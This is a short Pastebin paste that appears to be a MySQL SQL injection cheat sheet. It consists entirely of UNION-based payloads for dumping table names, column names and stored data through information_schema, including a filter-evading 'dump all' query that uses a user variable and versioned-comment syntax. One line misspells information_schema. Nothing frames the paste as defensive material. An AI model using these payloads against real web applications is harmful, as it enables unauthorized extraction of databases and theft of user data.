Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //dump ALL TABLES FROM DATABASE name
- group_concat(TABLE_NAME)
- FROM information_schmema.TABLES WHERE table_schema=DATABASE()
- //dump COLUMNS FROM TABLE
- group_concat(column_name)
- FROM information_schema.COLUMNS WHERE table_schema=DATABASE() AND TABLE_NAME='yourtable'
- //dump datas FROM COLUMNS
- group_concat(column1,0x3a,column2)
- FROM yourtablename
- //dump ALL we want
- (SELECT (@x) FROM (SELECT (@x:=0x00), (SELECT (0) FROM (information_schema.COLUMNS) WHERE (table_schema!=0x696e666f726d6174696f6e5f736368656d61) AND (0x00) IN (@x:=/*!50000concat*/(@x,0x3c62723e,table_schema,0x272d2d3e27,TABLE_NAME,0x272d2d3e27,column_name))))x)
- //usage
- UNION SELECT 1,2,3,4,5,6,7,8,9
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement